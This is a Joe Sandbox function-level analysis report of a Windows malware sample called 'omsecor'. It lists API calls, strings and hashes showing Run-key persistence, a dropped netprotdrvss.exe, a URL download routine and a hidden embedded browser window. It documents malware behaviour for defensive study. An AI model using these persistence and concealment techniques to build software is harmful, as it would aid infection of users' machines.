Associated: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: File$CloseCountCreateHandleModuleNameTickTime
String ID: UniqueNum
API String ID: 1853814767-3816303966
Opcode ID: ad12cffd4843a03ac357a7cbd35bb16f9c39c4118ba2163eb990dc6e8f3d9bd4
Instruction ID: 2f8cc66c71eb5b32faf52737d8a911681d4da4e376004c23895cdbe2f04b10ac
Opcode Fuzzy Hash: ad12cffd4843a03ac357a7cbd35bb16f9c39c4118ba2163eb990dc6e8f3d9bd4
Instruction Fuzzy Hash: AE110633419220ABD210AB65EC4CA9B7FACEF45760F004A3AF964E21D0D6349211C7AB

Function 00407E2B Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 54
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,UniqueNum), ref: 00407E5C
ReadFile.KERNEL32(?,00000064,00000001,00000000), ref: 00407E74

Part of subcall function 00407CD7: GetModuleFileNameW.KERNEL32(00000000,?,00001000,00000000,00000000,?,00407E44,00000001,UniqueNum), ref: 00407CF6
Part of subcall function 00407CD7: CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000004,00000002,00000000,?,00407E44,00000001,UniqueNum), ref: 00407D48

Strings

UniqueNum, xrefs: 00407E38
x, xrefs: 00407E86
hOAd, xrefs: 00407E91
d, xrefs: 00407E7E

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: File$CreateModuleNamePointerRead
String ID: UniqueNum$d$hOAd$x
API String ID: 1528952607-1018652783
Opcode ID: 015ecc0cc43ae81723c1e035d0cdbf130f909c8143b489dc0bfa89a80df37f55
Instruction ID: 0df55d11f519ebf6f0451cc58b4543fb7278309a9039aac926228ebb90f40a66
Opcode Fuzzy Hash: 015ecc0cc43ae81723c1e035d0cdbf130f909c8143b489dc0bfa89a80df37f55
Instruction Fuzzy Hash: 5311A531D09308AADF109B61DD05BDB3B6AAB00324F218676E612F61E0E7749D44CBAE

Function 0040AC20 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 49
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,771B0900,00000400,00000000, /nomove,?,0040AB30,?,?,0040B3E5), ref: 0040AC44
RegOpenKeyExW.KERNEL32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,?,0040AB30,?,?,0040B3E5), ref: 0040AC72

Part of subcall function 004069C0: RegQueryValueExW.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,7686E9B0,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?), ref: 004069E3
Part of subcall function 004069C0: RegCloseKey.KERNEL32(00000000,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?,?,0040B3E5), ref: 004069ED

Strings

IueiOod, xrefs: 0040AC50, 0040AC82
/nomove, xrefs: 0040AC23
SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 0040AC39, 0040AC3E, 0040AC6C

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: Open$CloseQueryValue
String ID: /nomove$IueiOod$SOFTWARE\Microsoft\Windows\CurrentVersion\Run
API String ID: 3546245721-4228964922
Opcode ID: e183a9483fa9f7ba9bb43204af9f8e84b77f88267b9ccf7be8296576afd26502
Instruction ID: 3bac8edf5f415b784fe4546894dc74dc09b9405a13c640cee1cd261e7a9a2bb6
Opcode Fuzzy Hash: e183a9483fa9f7ba9bb43204af9f8e84b77f88267b9ccf7be8296576afd26502
Instruction Fuzzy Hash: 5F01867265430EFEFF1096919D42F9A736CDB40768F210036FA00B60D1D6B6AE155779

Function 0040AAFD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32(?,0040B3E5), ref: 0040AB0A
GetModuleFileNameW.KERNEL32(00000000,?,00000820,00000400,?,0040B3E5), ref: 0040AB44
CharLowerW.USER32(?,?,0040B3E5), ref: 0040AB57
CharLowerW.USER32(?,?,0040B3E5), ref: 0040AB60

Strings

/nomove, xrefs: 0040AB10

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: CharLower$CommandFileLineModuleName
String ID: /nomove
API String ID: 1338073227-1111986840
Opcode ID: 00c7a09b5e38cd9dc17e43fc8aab8f350de87f2bf6048177a511846302a86bad
Instruction ID: b8029fc6669f79c45f6caaa8ce38406425976cf3cabd4088da44db58d281c6d8
Opcode Fuzzy Hash: 00c7a09b5e38cd9dc17e43fc8aab8f350de87f2bf6048177a511846302a86bad
Instruction Fuzzy Hash: 7CF01D7290022956DB10A7B19C05BDB72ACFF40309F0445B6AA05F2180ED78EA548F95

Function 00407CD7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00001000,00000000,00000000,?,00407E44,00000001,UniqueNum), ref: 00407CF6
GetCurrentDirectoryW.KERNEL32(00001000,?,?,00407E44,00000001,UniqueNum), ref: 00407D15
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000004,00000002,00000000,?,00407E44,00000001,UniqueNum), ref: 00407D48

Strings

\merocz.xc6, xrefs: 00407D1B

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: File$CreateCurrentDirectoryModuleName
String ID: \merocz.xc6
API String ID: 3818821825-505599559
Opcode ID: 2f84b54d5be0d3dae659ee3f303fbd3ad06020502789306fc31ef9c8cba0b7e5
Instruction ID: bb9f2ddab4bab237696810683399403c99d26191ea9c434de7a02090ea9b9a12
Opcode Fuzzy Hash: 2f84b54d5be0d3dae659ee3f303fbd3ad06020502789306fc31ef9c8cba0b7e5
Instruction Fuzzy Hash: DA01A231904224ABE7309B569C49FEB77ADEF85710F00447FB505F20D1D6749A80CAAA

Function 00407727 Relevance: 6.1, APIs: 4, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400,771B0900,00000400,00000000,0040B4B3,00000000), ref: 00407744
ExpandEnvironmentStringsW.KERNEL32(?,00000400), ref: 00407784
GetLastError.KERNEL32(00000004), ref: 004077A9

Part of subcall function 004075D4: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,00000000,00000000,00000400), ref: 004075FC
Part of subcall function 004075D4: CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 00407618

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: File$Create$EnvironmentErrorExpandLastModuleNameStrings
String ID:
API String ID: 1536607067-0
Opcode ID: 89cd35a4e2c2c3bd6fcfd873d8aca65b8c9597df86e0d91d22dc3db87ccf143e
Instruction ID: de8f4f1c442ba604be96c6aabbb627c7d922d162aa2fadd5385f895ae0141ebd
Opcode Fuzzy Hash: 89cd35a4e2c2c3bd6fcfd873d8aca65b8c9597df86e0d91d22dc3db87ccf143e
Instruction Fuzzy Hash: AD11E972908249AED720D7A19C81FEB739CFB44354F10483BFB95E30D0E678B945866B

Function 004077F0 Relevance: 3.0, APIs: 2, Instructions: 30
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00407800
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,?,?,?,?,00000400), ref: 0040781B

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: CreateProcess_memset
String ID:
API String ID: 1177741608-0
Opcode ID: 0cd9a43e4f1b4c0064b4bee2692f9063eedacf03e95d61430481666f95000588
Instruction ID: 3694313203bda926a09df6f19e1a61ce713b6a49f930e6e3ed03be73a1123fdc
Opcode Fuzzy Hash: 0cd9a43e4f1b4c0064b4bee2692f9063eedacf03e95d61430481666f95000588
Instruction Fuzzy Hash: 1DE048B294113876DB20A6E69C0DDDF7F6CDF06694F000121BA0EE50C4E5749608C6F5

Function 004069C0 Relevance: 3.0, APIs: 2, Instructions: 25
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryValueExW.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,7686E9B0,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?), ref: 004069E3
RegCloseKey.KERNEL32(00000000,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?,?,0040B3E5), ref: 004069ED

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 149707b6f704b0206dcd429f7e61dcdc4ff4cc903c0dfabc6e5b0404234ae6db
Instruction ID: 7cb27e63b8b96f7a1a34dd7d249ffcc2d4336ce0f7aa5f451266b78b49120899
Opcode Fuzzy Hash: 149707b6f704b0206dcd429f7e61dcdc4ff4cc903c0dfabc6e5b0404234ae6db
Instruction Fuzzy Hash: DCE06D7A000208BBEF104F94CD09BD97BB9EB44358F208464BA00A6150D67596149B14

Function 00406D14 Relevance: 3.0, APIs: 2, Instructions: 22
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetAttemptConnect.WININET(00000000), ref: 00406D18
InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00406D2C

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: Internet$AttemptConnectOpen
String ID:
API String ID: 2984283330-0
Opcode ID: 77bbdc1ab6611dce8fe5f9a2cfb0e06ed6a4e54537c27329ce6246ada380d11e
Instruction ID: 3045e06cac02f36cd47ad2bbc893350a3e6c997d3593ce6e368a9b0161d3b649
Opcode Fuzzy Hash: 77bbdc1ab6611dce8fe5f9a2cfb0e06ed6a4e54537c27329ce6246ada380d11e
Instruction Fuzzy Hash: 04D05E713171312BE7345B763E48ACB2E4CDF02A61701043AF406D8090D6348851C6E8

Non-executed Functions

Function 0040B096 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 181threadnetworkCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,00420840,00001000,00000000,00000000,00000000,?,0040B320,00000000,?,0040B3E0), ref: 0040B103
InternetSetPerSiteCookieDecisionW.WININET(begun.ru,00000005), ref: 0040B16F
GetLastError.KERNEL32(00000004,?,0040B320,00000000,?,0040B3E0), ref: 0040B188
CreateThread.KERNEL32(00000000,00000000,Function_0000B023,?,00000000,00000000), ref: 0040B1C3

Strings

begun.ru, xrefs: 0040B16A
\netprotdrvss.exe, xrefs: 0040B12D, 0040B293

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: CookieCreateDecisionErrorFileInternetLastModuleNameSiteThread
String ID: \netprotdrvss.exe$begun.ru
API String ID: 2887986221-2660752650
Opcode ID: 72f3bde2a2d827b3c721072f775774581fb941fcacc32120eed56e62724ecf90
Instruction ID: dc85dbecd2d93a1c92e95c54703b850062b4355e184197ecdf44903e32880826
Opcode Fuzzy Hash: 72f3bde2a2d827b3c721072f775774581fb941fcacc32120eed56e62724ecf90
Instruction Fuzzy Hash: 4351F571A00218BBEB206F65DC89AAF3769EB44349F00447BF904BA1D1D77C8D51CBAE

Function 00405229 Relevance: 16.6, APIs: 3, Strings: 8, Instructions: 134sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00002710), ref: 00405366
Sleep.KERNEL32(00009C40), ref: 00405383
Sleep.KERNEL32(00004E20), ref: 004053D0

Strings

.html, xrefs: 004052B4
ftp, xrefs: 004052C5
CsM, xrefs: 004053B2
hOA, xrefs: 00405305
From: , xrefs: 00405318
8@, xrefs: 00405275
Via: , xrefs: 0040533C
^key=, xrefs: 004052D0

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: Sleep
String ID: .html$8@$CsM$From: $Via: $^key=$ftp$hOA
API String ID: 3472027048-1081452883
Opcode ID: d8c307949237e19763c5e60e3dec01313537889ddc644ade6cf88722956defec
Instruction ID: 3376cbd9a830c5581772f61034da1910d267ee329a165acd0f4726bddbbbde03
Opcode Fuzzy Hash: d8c307949237e19763c5e60e3dec01313537889ddc644ade6cf88722956defec
Instruction Fuzzy Hash: 4E419431A0091887CB24E7A29D529EF73A9EF40318F54407FE905B71D1EA7C9E898F5D

Function 00407036 Relevance: 16.6, APIs: 11, Instructions: 97filenetworkCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?), ref: 00407043
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000004,00000080,00000000), ref: 0040705D
GetLastError.KERNEL32 ref: 00407079
SetEndOfFile.KERNEL32(?), ref: 0040708F
InternetOpenUrlW.WININET(?,?,00000000,80000000,00000000), ref: 004070A9
CloseHandle.KERNEL32(?), ref: 004070BB

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: File$CloseCreateDeleteErrorHandleInternetLastOpen
String ID:
API String ID: 3711279109-0
Opcode ID: 89bc675b35fb8e2eee68dc50edc98837eed05b9f43fe5ca330cba4f7d07cf5ae
Instruction ID: 9d8a11a16b3c0a9aa44c9dcc38c8aa686dfb91ece0f3f59227d733df7bad94bb
Opcode Fuzzy Hash: 89bc675b35fb8e2eee68dc50edc98837eed05b9f43fe5ca330cba4f7d07cf5ae
Instruction Fuzzy Hash: 48313471800119EFEB119FA1DE85AEE7BBDFB04344F104872F652B61A0D731AE21DB66

Function 00409301 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 105memoryCOMMON

Download Yara Rule

APIs

CharLowerW.USER32(?,?,?,?,?,?), ref: 0040933E
SysFreeString.OLEAUT32(?), ref: 00409359
SysFreeString.OLEAUT32(?), ref: 00409362
SysAllocString.OLEAUT32(?), ref: 004093B8
SysAllocString.OLEAUT32(javascript), ref: 004093C1
SysFreeString.OLEAUT32(00000000), ref: 004093E3
SysFreeString.OLEAUT32(00000000), ref: 004093E6

Strings

javascript, xrefs: 004093BA
http:, xrefs: 00409347

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: String$Free$Alloc$CharLower
String ID: http:$javascript
API String ID: 1987340527-3435494457
Opcode ID: 713b06055eefad9f5422e5b9f5fb5af6d58bbbe1ec79e9ea68907389bd6c3b4b
Instruction ID: 0b4048b57b081e67726dd44363989906ad2532c65c6ed0c60c908aefe346602b
Opcode Fuzzy Hash: 713b06055eefad9f5422e5b9f5fb5af6d58bbbe1ec79e9ea68907389bd6c3b4b
Instruction Fuzzy Hash: 6A310A71A00119AFDB04DFA6C889EAEB7B8EF48314B144469E805EB291D775AD41CF64

Function 00406ADF Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 136registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000), ref: 00406B2A

Part of subcall function 004069C0: RegQueryValueExW.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,7686E9B0,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?), ref: 004069E3
Part of subcall function 004069C0: RegCloseKey.KERNEL32(00000000,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?,?,0040B3E5), ref: 004069ED

RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000), ref: 00406B8C
RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000), ref: 00406C17

Strings

SOFTWARE\Classes\MIME\Database\Content Type\, xrefs: 00406AF6, 00406B5D, 00406BE8
text/javascript, xrefs: 00406BF3
application/x-javascript, xrefs: 00406B68
text/html, xrefs: 00406B01
CLSID, xrefs: 00406B3B, 00406B40, 00406B9D, 00406BB5, 00406C28, 00406C40

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: Open$CloseQueryValue
String ID: CLSID$SOFTWARE\Classes\MIME\Database\Content Type\$application/x-javascript$text/html$text/javascript
API String ID: 3546245721-1332223170
Opcode ID: b8f2284a7884e1d84c5472764473ad81ef61371c27a8aebe337e069d7a055d2a
Instruction ID: b356448af2dda310db5a41c348b39e69e2b2ee30590ea213815e442ef4722270
Opcode Fuzzy Hash: b8f2284a7884e1d84c5472764473ad81ef61371c27a8aebe337e069d7a055d2a
Instruction Fuzzy Hash: 0A4142B2650118AAEB10D6519E81BEB73FCEB44309F1144BBE705F2080FB789F598F69

Function 0040A156 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 84memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(eventConn), ref: 0040A18D
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0040A1D4
SetParent.USER32(?,00000000), ref: 0040A1E2
GetWindowLongW.USER32(?,000000EC), ref: 0040A1ED
SetWindowLongW.USER32(?,000000EC,00000000), ref: 0040A1FE
SetWindowPos.USER32(?,00000001,00001388,00001388,00000010,?,00000000), ref: 0040A21E

Part of subcall function 0040A0B5: CoInitialize.OLE32(00000000), ref: 0040A0C0
Part of subcall function 0040A0B5: GetModuleHandleW.KERNEL32(00000000,00000000), ref: 0040A0CE
Part of subcall function 0040A0B5: CreateWindowExW.USER32(00000000,AtlAxWin,Shell.Explorer,80000000,00000000,00000000,000004B0,00000320,00000000,00000000,00000000), ref: 0040A0F3

Strings

eventConn, xrefs: 0040A188
Shell_TrayWnd, xrefs: 0040A1CF

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: Window$Long$AllocCreateFindHandleInitializeModuleParentString
String ID: Shell_TrayWnd$eventConn
API String ID: 2141107913-3455059086
Opcode ID: 2066f8b397b36b8e779d0438fd1e5f75721f75fac11e843927efdeb34d7bad55
Instruction ID: 39c15930e577ecb7297998fc23ff8408fdcdb7101606cb16b0d9d8475b405f16
Opcode Fuzzy Hash: 2066f8b397b36b8e779d0438fd1e5f75721f75fac11e843927efdeb34d7bad55
Instruction Fuzzy Hash: 05216834900214EFDB10AFA4CD89FAB7BB9EF0A311F2046B5F901EA2A1C7755D54CB96

Function 00407362 Relevance: 13.6, APIs: 9, Instructions: 114timesynchronizationCOMMON

Download Yara Rule

APIs

CreateWaitableTimerW.KERNEL32(00000000,00000001,00000000), ref: 00407374
GetLocalTime.KERNEL32(?), ref: 00407387
GetLocalTime.KERNEL32(?), ref: 0040738D
GetTimeZoneInformation.KERNEL32(?), ref: 004073C2
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 00407412
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 0040741C
SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?,00989680,00000000), ref: 0040747A
WaitForSingleObject.KERNEL32(?,000000FF,?,?,00989680,00000000), ref: 00407485
CloseHandle.KERNEL32(?,?,?,00989680,00000000), ref: 0040748E

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: Time$FileLocalSystemTimerWaitable$CloseCreateHandleInformationObjectSingleWaitZone
String ID:
API String ID: 3166187867-0
Opcode ID: 8616424921b6ce0bb56b9c9dfbc93343bf37786535cdacee7c7c77324956f8a5
Instruction ID: 26b14636c49f8a61fb06fac8b942a3fa68f3078aba47330515a101c34858e503
Opcode Fuzzy Hash: 8616424921b6ce0bb56b9c9dfbc93343bf37786535cdacee7c7c77324956f8a5
Instruction Fuzzy Hash: 8B316FB2D1022DAACF04EBE5DD459EEB7BDEF44304F10406AF901B3290E7746A04DB69

Function 00409909 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 004099EB
SysAllocString.OLEAUT32(?), ref: 004099F9

Strings

<url>, xrefs: 0040991C
http://, xrefs: 00409941
</url>, xrefs: 00409917
</domain>, xrefs: 004099B8
<domain>, xrefs: 004099BD

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: AllocString
String ID: </domain>$</url>$<domain>$<url>$http://
API String ID: 2525500382-924421446
